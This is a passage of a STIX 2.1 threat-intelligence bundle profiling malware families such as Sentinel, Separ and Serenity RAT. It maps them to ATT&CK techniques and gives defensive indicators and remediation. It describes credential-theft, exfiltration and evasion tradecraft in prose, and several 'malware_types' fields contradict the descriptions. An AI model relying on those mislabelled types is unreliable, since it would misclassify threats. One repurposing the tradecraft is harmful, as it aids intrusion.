      "description": "Senta exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32477061-5177-532e-9596-084a442d7225",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--762a47f7-3cbe-55c5-ae5b-dbc770dc1b4e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Senta exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df54c9c4-75ad-5c7e-9dca-89dbc9be2997",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--762a47f7-3cbe-55c5-ae5b-dbc770dc1b4e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Senta exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b862702-0560-5721-9693-dfabd10a548a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sentinel",
      "description": "TrojanSpy:Win32/Sentinel is a specialized InfoStealer whose primary objective is to locate, extract, and exfiltrate sensitive data, credentials, and network configuration details from the infected Windows system (`T1005`). Unlike generic banking trojans, Sentinel often targets corporate environments, seeking out FTP credentials, VPN profiles, and proprietary documents to facilitate deeper network breaches.<br><br><b>Understanding Sentinel (Corporate InfoStealer)</b><br>To an end-user, the infection is entirely invisible. Their computer will continue to function normally. However, for a business, Sentinel represents a critical data breach. The stolen credentials and network layouts are often sold to Initial Access Brokers (IABs) or ransomware gangs, who use them to launch devastating, enterprise-wide attacks.<br><br><b>Execution and Extraction Mechanics</b><br>Sentinel is typically distributed via spearphishing campaigns targeting specific employees. Upon execution, it operates rapidly. It scans the Windows Registry and file system for saved passwords stored by web browsers (Chrome, Edge, Firefox), FTP clients (FileZilla, WinSCP), and email clients (Outlook) (`T1552.001`). It also searches for specific document types (e.g., `.docx`, `.pdf`, `.rdp`) in standard user directories. Once aggregated, this data is compressed, encrypted, and exfiltrated to the attacker's C2 server (`T1041`), often before the user even realizes the phishing document was malicious.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is intellectual property theft and the total compromise of the user's digital identity, paving the way for lateral movement. Host-based IoCs include EDR alerts for rapid, anomalous file access across multiple directories by an untrusted executable, and the execution of suspicious binaries from `%Temp%` or `%Downloads%`. Network IoCs include a brief burst of outbound HTTP POST or FTP traffic (exfiltrating the ZIP file containing the stolen data) immediately following the execution of the initial payload. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sentinel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sentinel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8201425c-715e-5594-be1a-d03306505b5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b862702-0560-5721-9693-dfabd10a548a",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sentinel exhibits technique T1552.001 (Credentials In Files (Stealing saved passwords from browsers and FTP clients))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d246cd81-4864-57b3-9709-b89d45579320",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b862702-0560-5721-9693-dfabd10a548a",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sentinel exhibits technique T1005 (Data from Local System (Scanning for and aggregating sensitive documents))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98326b30-a66e-5866-a3e1-2bf87cac5d65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b862702-0560-5721-9693-dfabd10a548a",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sentinel exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the stolen data archive to the attacker's server))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--920994c3-ada5-55a0-ba62-a51eb8f7a7f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Seodec",
      "description": "Trojan:Win32/Seodec is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Seodec</b><br>To an end-user, a Seodec infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Seodec is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Seodec is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Seodec frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Seodec reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Seodec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/seodec"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edcdd66e-9a65-5820-aa9e-db0a00fc0fe4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--920994c3-ada5-55a0-ba62-a51eb8f7a7f3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seodec exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--475962fe-8473-58e2-bb75-ff7db71a0496",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--920994c3-ada5-55a0-ba62-a51eb8f7a7f3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seodec exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ae40e8b-0bf0-50fe-868f-a16d08d191ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--920994c3-ada5-55a0-ba62-a51eb8f7a7f3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seodec exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4ac5826-e48d-5209-8a05-02baffc5709f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--920994c3-ada5-55a0-ba62-a51eb8f7a7f3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seodec exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38766eea-b462-5b29-b514-a1dacbf46237",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--920994c3-ada5-55a0-ba62-a51eb8f7a7f3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seodec exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba4adb80-eb0c-55cb-a44e-255c007324fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Separ",
      "description": "Trojan:Win32/Separ is an aggressive credential-stealing malware campaign renowned for its simplicity, effectiveness, and its heavy reliance on legitimate, 'dual-use' utilities to evade antivirus detection. Separ does not use complex zero-day exploits or advanced rootkit techniques; instead, it uses basic batch scripting and readily available administrative tools to rapidly harvest credentials from browsers and email clients.<br><br><b>Understanding Separ (Living off the Land)</b><br>To an end-user, a Separ infection might look like a fleeting command prompt window opening and closing instantly. For a SOC analyst, Separ is a prime example of 'Living off the Land' (LotL) tactics. Because it uses legitimate tools (like NirSoft utilities) to do the actual stealing, traditional signature-based AV often fails to block the activity, assuming the tools are being used by a legitimate administrator.<br><br><b>Execution and Credential Harvesting Mechanics</b><br>Separ is typically distributed via spear-phishing emails containing malicious PDF attachments with embedded links, or ZIP files containing a deceptive `.exe` (which is often a self-extracting archive or a compiled batch script) (`T1566.001`). When executed (`T1204.002`), it drops a series of batch files (`.bat`), VBScript files, and legitimate password recovery tools (like `WebBrowserPassView.exe` or `MailPassView.exe`) into a hidden directory. It then uses the batch scripts to silently execute these tools, dumping all saved passwords from Chrome, Firefox, Edge, Outlook, and Thunderbird into a text file (`T1555.003`). The script then uses a command-line FTP client (like `ftp.exe`) to exfiltrate the text file to a compromised server controlled by the attacker (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the immediate compromise of all local user credentials. Host-based IoCs include EDR alerts for `cmd.exe` or `wscript.exe` launching known password recovery tools (NirSoft, etc.) from the `%Temp%` or `%AppData%` directory. Network IoCs include outbound FTP connections to unknown or suspicious IP addresses, transferring `.txt` files containing harvested credentials. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Separ",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/separ"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4289dd65-1ffe-549b-8528-c695be5e8404",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba4adb80-eb0c-55cb-a44e-255c007324fc",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Separ exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebc31650-6b84-53ae-98a9-91cac03f728c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba4adb80-eb0c-55cb-a44e-255c007324fc",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Separ exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--925fc708-043f-5a6b-8644-57346c3fc01b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba4adb80-eb0c-55cb-a44e-255c007324fc",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Separ exhibits technique T1048.003 (Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol (FTP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8259442-11c2-5ebb-9e9a-3ce6686290c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba4adb80-eb0c-55cb-a44e-255c007324fc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Separ exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Serenity_Rat",
      "description": "Serenity RAT (cataloged across security software as Backdoor.Win32.Serenity, Trojan.Serenity, and Serenity RAT) is a mid-2000s Remote Access Trojan created in Borland Delphi by the Belgian developer known as 'Killua'. Built with modularity and operator usability in mind, Serenity RAT offered a polished graphical control center for managing infected endpoints simultaneously. The server payload operated stealthily in the background, utilizing multithreaded socket listeners to handle real-time screen capture, remote file transfers, and registry browsing. Serenity RAT featured comprehensive keylogging capabilities with offline buffer storage, process injection, remote shell execution, and hardware enumeration. To maintain persistence, the server wrote autostart keys to the Windows Registry and could inject into explorer.exe. Distributed across underground forums, Serenity RAT droppers leveraged CVE-2010-2568 and CVE-2012-0158.",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Serenity RAT",
        "Backdoor.Win32.Serenity",
        "Serenity by Killua",
        "Win32/Serenity.RAT",
        "Trojan.Serenity"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Serenity_Rat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/serenity_rat"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c3dad8a-58d2-5c1c-b7c8-9a90e074b9ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serenity_Rat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--804c1fed-516b-5ca6-bb99-de5bf2d3b684",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serenity_Rat exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eda328aa-7451-5a16-abf6-140886894cba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serenity_Rat exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40e6bbe3-81fd-53fd-b11a-e2ab971eda53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serenity_Rat exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--205d2a0f-582e-5bf8-bf22-cf81e8108b7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serenity_Rat exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a8c9407-d78b-5777-a7f3-bf4a54773918",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serenity_Rat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbf6a02f-fc85-5293-89ca-7929b37817ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serenity_Rat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dea3fb5-535f-51fa-84ce-f47999e61e11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98ece0b2-45ad-513d-84ba-65cd303deb33",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serenity_Rat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--973446df-3a5e-5d00-8858-5bd88c6c7156",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Serveradmin",
      "description": "<h3>Executive Summary</h3>\n\"Serveradmin\" is a generic detection classification for Riskware and dual-use Remote Administration Tools (RATs). This detection applies to commercial or legitimate remote access software (like VNC, TeamViewer, AnyDesk, or PsExec) when it is installed covertly, utilized without the user's knowledge, or deployed by an unauthorized party to maintain persistent, interactive access to a compromised system.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause Serveradmin tools are technically legitimate software, they are often not blocked by default antivirus policies. Threat actors (Initial Access Brokers or APT groups) frequently deploy these tools *after* gaining initial access via exploiting vulnerabilities (e.g., in Exchange or RDP) or via phishing. \n\nUpon deployment, the tool provides \"living off the land\" capabilities:\n<ul>\n<li><strong>Covert Installation:</strong> The attacker installs the legitimate tool (e.g., AnyDesk) using command-line arguments to run silently, hide the system tray icon, and set a hardcoded unattended access password.</li>\n<li><strong>Interactive Remote Control:</strong> The tool provides the attacker with a fully functional, graphical desktop environment. They can interact with the system exactly as if they were sitting at the keyboard, bypassing many behavioral security detections.</li>\n<li><strong>Persistence and Evasion:</strong> Because the tool is signed by a legitimate software vendor, it easily bypasses application whitelisting (AppLocker). It establishes persistence by installing itself as a Windows Service, ensuring it starts automatically with system privileges.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of a Serveradmin tool is a critical security incident. It indicates that an adversary has established highly reliable, interactive remote access to the environment. This level of access is the immediate precursor to massive data exfiltration or the deployment of enterprise-wide ransomware.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Identify the Initial Vector:</strong> The presence of the RAT is a symptom, not the cause. Incident response must focus on *how* the attacker gained the privileges necessary to install the tool (e.g., compromised VPN credentials, unpatched external services).</li>\n<li><strong>Service Termination and Uninstallation:</strong> Immediately stop the associated Windows Service and uninstall the remote administration software. </li>\n<li><strong>Network Sweeps:</strong> Use EDR to hunt for instances of the specific remote admin tool (e.g., searching for `AnyDesk.exe` or `screenconnect`) across the entire enterprise to determine the scope of the lateral movement.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.RemoteAdmin",
        "Tool.RemoteAccess",
        "Win32/RemoteAdmin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Serveradmin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/serveradmin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a84456cb-87cb-5d0a-8ad3-a856580d00b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--973446df-3a5e-5d00-8858-5bd88c6c7156",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serveradmin exhibits technique T1219 (Remote Access Software (Abusing a legitimate tool for malicious interactive access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71aa84bd-b8d6-59eb-94aa-02c41c3e5d55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--973446df-3a5e-5d00-8858-5bd88c6c7156",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serveradmin exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol (Utilizing built-in or custom VNC for graphical access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eed47f8f-e8eb-52a9-9ef2-a8ff86de84ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--973446df-3a5e-5d00-8858-5bd88c6c7156",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Serveradmin exhibits technique T1569.002 (System Services: Service Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ef517424-9386-57ce-8441-6ad18e3fa657",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Seznam",
      "description": "<h3>Executive Summary</h3>\nIn a cybersecurity context, \"Seznam\" detections typically refer to aggressive browser hijackers and Potentially Unwanted Programs (PUPs) that forcefully alter a user's web browser settings to redirect traffic to the legitimate Czech search engine, Seznam.cz. While Seznam itself is a legitimate company, unscrupulous third-party affiliates utilize malicious software wrappers (adware) to force users to use the engine, thereby generating fraudulent affiliate revenue for the malware distributors.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe Seznam-hijacking adware is primarily distributed via deceptive software bundling. Users encounter it when downloading \"freeware\" or pirated software from third-party aggregators. The installation process uses \"Dark Patterns\" to hide the fact that the browser settings are being modified.\n\nOnce installed, the adware exhibits classic hijacking behaviors:\n<ul>\n<li><strong>Homepage and Search Engine Modification:</strong> It aggressively alters the default homepage, new tab page, and default search engine in Chrome, Firefox, and Edge, hardcoding them to redirect to specific affiliate URLs associated with Seznam.</li>\n<li><strong>Extension Installation:</strong> It often installs a browser extension to ensure persistence. If the user attempts to manually change their search engine back to Google or Bing, the extension instantly reverts the settings upon the next browser launch.</li>\n<li><strong>Registry Locking:</strong> Advanced variants modify Windows Registry keys (or utilize Group Policy Objects) to lock the browser settings, preventing non-administrative users from making changes to their browser preferences.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile not destructive like a Trojan, this form of adware is highly disruptive. It causes significant frustration for the user, degrades browsing performance, and often tracks search queries for marketing purposes. The persistence mechanisms cause unnecessary overhead for IT helpdesks attempting to clean the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Manual Uninstallation:</strong> IT staff should first check the Windows \"Add/Remove Programs\" list for any recently installed suspicious toolbars or \"Search Protect\" applications and uninstall them.</li>\n<li><strong>Anti-Malware Scan:</strong> Run a comprehensive scan using an enterprise anti-malware solution specifically configured to detect and remove PUPs and Adware registry keys.</li>\n<li><strong>Browser Factory Reset:</strong> To completely eradicate the hijacking components and persistent extensions, all installed web browsers must undergo a full factory reset to purge the malicious settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Seznam",
        "BrowserHijacker.Seznam",
        "PUP.SeznamToolbar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Seznam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/seznam"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92de7430-eaac-5935-96c7-95f639b140f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef517424-9386-57ce-8441-6ad18e3fa657",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seznam exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44a80882-fc90-5b13-a37f-68cdb515f954",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef517424-9386-57ce-8441-6ad18e3fa657",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seznam exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24ef36f6-de93-5ca2-b3d6-6e87e8e161e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef517424-9386-57ce-8441-6ad18e3fa657",
